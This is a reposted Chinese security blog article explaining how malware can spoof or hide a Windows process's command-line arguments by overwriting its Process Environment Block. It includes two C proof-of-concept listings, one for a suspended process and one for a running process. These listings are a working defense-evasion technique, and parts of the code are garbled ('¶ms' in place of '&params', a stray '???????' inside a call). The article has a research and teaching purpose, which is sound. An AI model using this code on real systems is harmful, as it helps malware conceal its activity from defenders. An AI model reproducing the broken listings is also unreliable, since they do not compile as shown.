文章总结: 本文探讨了恶意软件通过操纵进程环境块(PEB)伪造进程命令行参数的技术。详细介绍了利用API修改挂起及运行中进程内存的具体步骤与代码实现。结论指出该方法受限于字符串长度且无法逃避EDR在创建时的记录,适用于进程信息隐蔽场景。 综合评分: 91 文章分类: 恶意软件,逆向分析,免杀
恶意进程环境块操纵
TtTeam
2026年1月11日 01:00 海南
逆向工程师必须对恶意软件的执行环境(即操作系统)具备深入认知。在之前的日志中,研究者曾讨论过加载 DLL 时可能执行的恶意代码[ 1 ]。本文将向读者展示,恶意软件如何隐藏与已创建进程相关的可疑信息。
API 调用 CreateProcess() 的用途如其名称所示,核心功能是创建新进程。本文不会在此处讨论该 API 的所有参数,但需明确的是,通过指定特定标志可定义进程的创建方式。其中,CREATE_SUSPENDED 标志(值为 0x00000004)尤为关键——该标志会指示操作系统创建进程,但不会自动启动进程。这一标志通常被视为恶意行为的明显特征(例如进程空洞化攻击场景)。
每个进程都拥有一个名为“PEB”(即“进程环境块”)的特定结构[ 3 ]。这是 Windows 系统中的用户模式数据结构,操作系统会为每个正在运行的进程维护该结构,用于存储进程运行时的关键信息,包括已加载的模块、进程参数、堆指针、环境变量及调试标志等。
上一段内容的核心要点是“用户模式”——这意味着进程不仅能够访问自身的 PEB(例如通过 PEB 检测是否有调试器附加),还具备修改自身 PEB 的能力。
研究者以一个实际案例进行说明:假设某恶意软件需要启动一个携带特定参数的 cmd.exe 进程,其可通过修改 PEB 来伪造命令行参数,整个操作仅需以下几个步骤:
- 找到PEB
- 读取工艺参数
- 覆盖它们
- 恢复流程
概念验证:
#include <windows.h>#include <winternl.h>#include <stdio.h>#pragma comment(lib, "ntdll.lib")int main() { STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi;
// Start a process with some parameters BOOL success = CreateProcessA( "C:\\Windows\\System32\\cmd.exe", (LPSTR)"cmd.exe /c echo I am malicious! }:->", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi ); if (success) { PROCESS_BASIC_INFORMATION pbi; ULONG returnLength; // Get the PEB address NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLength); // Read ProcessParameters PEB peb; ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &peb, sizeof(PEB), NULL); RTL_USER_PROCESS_PARAMETERS params; ReadProcessMemory(pi.hProcess, peb.ProcessParameters, ¶ms, sizeof(RTL_USER_PROCESS_PARAMETERS), NULL); // Overwrite the CommandLine buffer WCHAR newCmd[] = L"cmd.exe /c echo Nothing to see here!"; WriteProcessMemory(pi.hProcess, params.CommandLine.Buffer, newCmd, sizeof(newCmd), NULL); printf("Press enter to continue and resume the process...\n"); getchar(); // Resume the process ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); printf("Process resumed with modified PEB.\n"); } return 0;}
启动 poc.exe 后,检查 cmd.exe 进程:
在这种情况下,cmd.exe 将使用新参数执行。那么,如何修改正在运行的进程并隐藏(而非伪造)其参数呢?
为了实现这一点,进程不必创建在挂起状态,而必须保持运行!思路是获取进程句柄并修改其进程执行脚本(PEB):
void modifyRunningProcess(DWORD pid, const wchar_t* newCmd) { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (!hProcess) return; PROCESS_BASIC_INFORMATION pbi; ULONG retLen; NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen); PEB peb; ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(PEB), NULL); RTL_USER_PROCESS_PARAMETERS params; ReadProcessMemory(hProcess, peb.ProcessParameters, ¶ms, sizeof(params), NULL); USHORT newSize = (USHORT)(wcslen(newCmd) * sizeof(WCHAR)); WriteProcessMemory(hProcess, params.CommandLine.Buffer, newCmd, newSize + 2, NULL); WriteProcessMemory(hProcess, (PBYTE)peb.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length), ??????? &newSize, sizeof(USHORT), NULL); CloseHandle(hProcess); printf("PEB Updated for PID: %d\n", pid);}
请注意此技术存在一个重要局限性:必须将现有命令行替换为长度更短(带尾随空格)或长度相等的命令行,否则存在缓冲区溢出的风险!此外,此技术无法阻止 EDR 等工具记录原始参数,因为这些参数会在进程创建时被记录。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:TtTeam 《恶意进程环境块操纵》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论